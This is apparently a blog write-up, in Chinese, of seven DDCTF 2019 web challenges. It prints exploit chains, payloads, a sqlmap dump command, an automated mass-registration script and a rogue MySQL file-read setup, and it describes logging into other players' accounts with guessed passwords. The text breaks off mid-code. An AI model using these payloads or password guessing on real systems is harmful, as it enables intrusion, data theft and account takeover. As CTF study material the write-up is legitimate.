2019 DDCTF web writeup
[TOC]
Web1 滴~
Description
{% colorquote info %}
NULL
题目地址:http://117.51.150.246
{% endcolorquote %}
Hacking
文件读取
1
| <title>TmprMlpUWTBOalUzT0RKbE56QTJPRGN3</title>index.php</br>index.php</br><img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>
|
直接读 index.php 得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
|
找到类似的原题,但是原题利用了.idea
文件泄露,这里并没有,留下的只是一个深深的巨坑,首先看 php 顶部链接找到博客,然后发现这篇博客日期不对。找到该博主7月4日的博客,发现是一篇名为vim 异常退出 swp文件提示的博客,看文章内容发现有一个恢复.practice.txt.swp
的操作。
结果这里是个巨坑,最后是要拿到的文件是practice.txt.swp
,并没有开头的.
符号…然后提示f1ag!ddctf.php
,然后去读这个文件源码,得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
|
很简单的变量覆盖。
Web 2 WEB 签到题
Description
{% colorquote info %}
NULL
题目地址:http://117.51.158.44/index.php
{% endcolorquote %}
Hacking
url:app/Application.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
|
url:app/Session.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
| include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
|
我们可以看到 Application.php 中的关键代码
1
2
3
4
5
| public function __destruct(){
//...
$this->response($data = file_get_contents($path), 'Congratulations');
//...
}
|
而且在session.php
中我们可以找到一处反序列化的地方,所以很明显就需要我们去构建一个反序列化漏洞,利用这里去读取../config/flag.txt
我们在session.php
中发现关键代码
1
2
3
4
5
6
7
8
| if (!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"], $this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data, $v);
}
parent::response($data, "Welcome");
}
|
这里循环使用sprintf
格式化打印$arr
,所以我们只需要让第二次存在一个%s
,即可让他打印出$this->eacrykey
,所以可以构造nickname=%s
即可得到$this->eacrykey
为 EzblrbNS
之后我们可以发现主要就是要构造$session
这个变量来触发session_read()
函数中的$session = unserialize($session);
于是我们可以先从服务器获取session_create()
得到的数据如下
1
| a:4:{s:10:"session_id";s:32:"9e887a62624202e40d11881772b19569";s:10:"ip_address";s:11:"157.0.25.86";s:10:"user_agent";s:82:"Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.14;+rv:66.0)+Gecko/20100101+Firefox/66.0";s:9:"user_data";s:0:"";}a170c04974e03dc5cc763c0ab32d6905;
|
我们就可以得到 ip 了,接下里我们只需要去构造反序列化Application
这个类就好了。
这个类也很简单,主要就是绕过它的这个sanitizepath()
方法即可,我们双写就可以绕过了。
1
| var $path = "..././config/flag.txt";
|
所以我们可以在 session.php 中自己本地搭一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| private function session_create(){
$sessionid = '';
while (strlen($sessionid) < 32) {
$sessionid .= mt_rand(0, mt_getrandmax());
}
$a = new Application();
$userdata = array(
'session_id' => '272a4339b6b9340dad9466656d869286',
'ip_address' => '157.0.25.86',
'user_agent' => $a,
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
|
session_id 修改为服务器获取得到的 session_id 即可,ip_address 服务器也返回了,填上去了就好了。这样我们本地搭起环境,从 http 头中拿到 cookie ,用这个 cookie 访问服务器即可拿到 flag 了。
Web 3 Upload-IMG
Description
{% colorquote info %}
http://117.51.148.166/upload.php
user:dd@ctf
pass:DD@ctf#000
{% endcolorquote %}
Hacking
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)
其他人可以直接用搜到的 jpg_payload.php 可以直接随便拿一个图片都可以拿到 flag ,而我就不行了…应该是图片的原因….
最后自己按照这个 GitHub 仓库 生成拿到了 flag…
Web 4 homebrew event loop
Description
{% colorquote info %}
http://116.85.48.107:5002/d5af31f96147e657
Flag格式:DDCTF{.....}
,也就是请手动包裹上DDCTF{}
{% endcolorquote %}
Hacking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
| # -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f96147e657'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
|
一个比较简单的 Flask 框架,提供使用 points 购买 diamonds 的功能,然后将操作记录写进session['log']
里面。
整个代码还是比较简单的,而且漏洞点也相对比较明显。其实每个语言的eval
函数都差不多,比如这里 python 的eval
函数,类似于 php 中的eval
,也可以将eval
中的字符串当作代码来处理。
所以这意味着什么呢?这就意味着可以使用#
注释我们不需要的代码。
举个例子:
1
2
3
4
| >>> eval("print(1)")
1
>>> eval("print(1)#do something)")
1
|
所以我们就可以利用这个特性,利用题目中的event_handler
来执行任意函数。
利用#
成功绕过了后缀的限制执行了show_flag_function
函数。
虽然可以直接执行getFlag
函数,但是这个函数还是有一个限制session['num_items'] >= 5
,即使可以直接执行但是因为这个判断也无法绕过。所以这里可以有一些思路,比如找一个可以由int
函数转换成负数的数,或者直接打印函数什么。但是两种基本都走不通…
CTF 魅力所在可能就是可以让你利用你能利用的一切去创造一些新的途径达到自己目的。
既然要绕过session['num_items'] >= 5
的判断,我们就需要通过buy_handler
来增加自己的物品数,然而这个函数里面我们可以看到
1
2
3
4
5
| def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
|
最后一行并没有直接调用consume_point_function
,而是通过调用trigger_event
来调用花费的函数。
然而我们可以看到trigger_event
函数
1
2
3
4
5
6
7
| def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
|
只不过是用来增加session
记录而已,并没有立即去调用consume_point_function
,所以如果我们在buy_handler
与consume_point_function
两个函数之间执行get_Flag
函数,就可以先增加自己的item
来绕过get_Flag
函数对于item
的判断,尽管之后会执行 consume_point_function
函数,但是 Flag 已经被我们打印出来了,所以后面即使会回滚也无关紧要了。
所以如何构造这个 payload 达到我们在buy_handler
之后立即执行get_Flag
函数呢。让我们来看看整个代码的逻辑。首先代码会进入entry_point
函数,并将querystring
传入trigger_event
函数,trigger_event
将行动记录到session['log']
当中,接着执行execute_event_loop
函数。
我们重点来看execute_event_loop
这个函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
|
这个函数进入循环执行函数的条件为while len(request.event_queue) > 0
,而trigger_event
函数是可以控制request.event_queue
的关键,所以按照我们之前的思路,我们是不是可以利用这个函数来控制我们的执行顺序呢?
例如我们可以先尝试构造action:trigger_event%23;action:buy;8
,我们本地可以通过app.logger.info
来查看execute_event_loop
循环中的action
与args
参数,我们可以得到
可以看到执行了but_handler
函数,我们注意trigger_event
中是可以接受数组的
1
2
| if type(event) == type([]):
request.event_queue += event
|
对于数组的处理,他会挨个加入到request.event_queue
,所以我们就可以利用传入数组来控制执行顺序,只要我们传入一个第一个参数为but_handler
的函数,第二个参数为get_Flag
的函数就可以实现在调用花费函数之前来输出 Flag 了。
怎么构造数组呢?在execute_event_loop
中对于参数的处理可以自己随便测试一下就知道了他是以:;
之后的字符串以#
为分割来形成数组的。
所以这样子我们就成功将get_flag
函数优先调用了。接下来就是处理一些细节的事情了,比如调用get_Flag
在源代码中是get_flag_handler
,所以我们需要传入的参数是action:get_flag
,以及 Flag 最后是通过以下函数调用trigger_event
把 Flag 输出到session['log']
当中的。
1
2
3
4
| def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
|
所以我们的 payload 就是action:trigger_event%23;action:buy;8%23action:get_flag;
,再通过p牛的 flask cookie 解密脚本即可得到 flag
Web 5 欢迎报名DDCTF
Description
{% colorquote info %}
http://117.51.147.2/Ze02pQYLf5gGNyMn/
提示:XSS不是获取cookie
提示2:之后是注入
{% endcolorquote %}
Hacking
一开始根本打不了…而且还被人用 Beff 搅屎了…而且严重怀疑这题是中途改题的…很坑
首先题目设置比较简单
测试 XSS ,但是贼坑的误导你,返回了想误导你走入 sql 注入的大坑。
我们可以用 xss 拿到 admin.php 的 html 源码
看到源码中一个接口,直接访问提示需要一个 id 的传参,随便输入之后看到响应包
1
2
3
4
5
6
7
8
9
| HTTP/1.1 200 OK
Date: Thu, 25 Apr 2019 03:06:39 GMT
Server: Apache
Content-Length: 31
Connection: close
Content-Type: text/html;charset=gbk
<title>List Query API</title>
|
发现Content-Type
为charset=gbk
,猜测是一个宽字节注入。而且并没有什么过滤,直接开注,可能唯一需要一点 trick 的就是需要用十六进制绕过被转义的单引号了…
注出库名
注出表名
注出字段名
拿到 flag
当然也可以用 sqlmap 直接跑。
也可以指定使用--tamper unmagicquotes
来进行注入
1
| python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --level 3 -D ctfdb -T ctf_fhmHRPL5 --dump
|
Web 6 大吉大利,今晚吃鸡~
Description
{% colorquote info %}
http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~
本题不需要使用扫描器
{% endcolorquote %}
Hacking
一开始一直在溢出购买的这里,但是一旦溢出了,服务器就返回 500 了…
1
2
3
4
5
6
7
8
9
| GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
Host: 117.51.147.155:5050
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.155:5050/index.html
Connection: close
Cookie: user_name=zedd; REVEL_SESSION=ef66cfc3f5199180eea686597f4a1e72
|
然后看到一道类似护网杯Itshop题目,所以考虑这个地方是不是也是用的是余额-支出这么个操作来溢出呢
查找 GoLang 的相关数据类型,用 uint32 成功溢出。
猜测在 price 转换成 int 的时候发生溢出变成 -1 ,导致余额减去花费大于0,成功绕过判断买到入场券。
之后就比较简单了,可以通过输入 ticket 杀 bot ,猜测 id 与 ticket 有某种映射关系,可以注册一系列小号买 ticket 保大号杀。
附上脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| import requests
import re
import time
username = 'zedde'
base_url = 'http://117.51.147.155:5050'
register = base_url + '/ctf/api/register?name={0}&password=12345678'
buy_url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296'
search_url = base_url + '/ctf/api/search_bill_info'
pay_url = base_url + '/ctf/api/pay_ticket?bill_id='
remove_url = base_url + '/ctf/api/remove_robot?id={0}&ticket={1}'
cookies = dict(user_name='zedd',REVEL_SESSION='ef66cfc3f5199180eea686597f4a1e72')
for i in range(0,700):
user = username + str(i)
register_url = register.format(user)
req = requests.session()
rep = req.get(register_url)
rep = req.get(buy_url)
rep = req.get(search_url)
str_text = r'"bill_id":"(.*)",'
match = re.search(str_text, rep.text, re.M|re.I)
if match:
bill_id = match.group(1)
rep = req.get(pay_url + bill_id)
matchObj = re.search( r'{"your_id":(.*),"your_ticket":"(.*)"}]', rep.text, re.M|re.I)
# print(rep.text)
if matchObj:
bot_id = matchObj.group(1)
ticket = matchObj.group(2)
else:
continue
r = requests.get(remove_url.format(bot_id,ticket), cookies=cookies)
print(r.text)
time.sleep(1)
|
这题还有一种 trick 就是猜榜单已经做出来的师傅的密码,一般 id 都是师傅们的 id ,密码大多都是12345678(别问我怎么知道…我也是12345678…
比如这位师傅,用 12345678 登进去就拿到他的 flag 了。后面就是你敢不敢交的问题了…手动斜眼,毕竟后面有一段看起来貌似是随机的字符串…可能是主办方用来防作弊的?不得而知…hhhh
后面看官方的 wp 发现光房预设解其实是想让选手用 md5 长度拓展攻击去做的,也可以通过下面这题 mysql 弱口令来读吃鸡的源码拿 flag。
另外:登录那里还有个水平越权,无论成功与否,都会返回用户的 cookie ,因此也可以猜师傅们的用户名,直接带着 cookie 去看他的/main/result
即可。(2333
Web 7 WEB mysql弱口令
Description
{% colorquote info %}
http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~
本题不需要使用扫描器
{% endcolorquote %}
Hacking
很经典的 Rogue-Mysql-Server 一题,但是坑点还是有的。建议使用这个 Github 仓库来做allyshka/Rogue-MySql-Server
题目给了一个 agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
|
这里可能会比较容易误导,题目是固定地去请求你的 8123 端口,你必须得在 8123 部署这个 agent.py ,然后看代码,这个 agent.py 并没有做一个内网转发代理什么的,只不过是探测你部署的机器上有没有运行 mysqld 服务以及对应的服务端口是什么,然后他在外网去访问 agent.py 返回的 mysql 的端口。知道这个就非常好做了,基本坑都绕过了…不然的话就像一开始只能一个个排错什么的…
只要把 agent.py 中的返回直接给他改了,改成直接返回自己的端口即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
| def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': '0.0.0.0:3306', 'Process_name': 'mysqld'}
result.append(tmp_dic)
return result
|
例如这样,不一定非得 3306 ,可以把 Rogue Mysql 那一套放在其他端口也可。
其他的都是一贯的 Rogue Mysql 的操作,这里就不重复演示了。
然后可以去读/root/.bash_history
看之前的路径文件,发现在/home/dc2-user/ctf_web_2/app/main/views.py
可以读到题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
| # coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get('target_ip')
target_port = request.args.get('target_port')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "åæ°ä¸è½ä¸ºç©º", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "端å£å¿
须为æ°å", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "å¿
é¡»è¾å
¥ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ipä¸è½æ¯å
ç½ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "æå¡å¨æªå¼å¯mysql", "data": result})
tmp_result =mysql_scan(target_ip, target_port)
if not tmp_result['Flag'] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 0, "msg": "æªæ«æåºå¼±å£ä»¤", "data": []})
else:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
result.append(tmp_result)
return jsonify({"code": 0, "msg": "æå¡å¨åå¨å¼±å£ä»¤", "data": result})
def checkip(ip):
p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if p.match(ip):
return True
else:
return False
def curl(url):
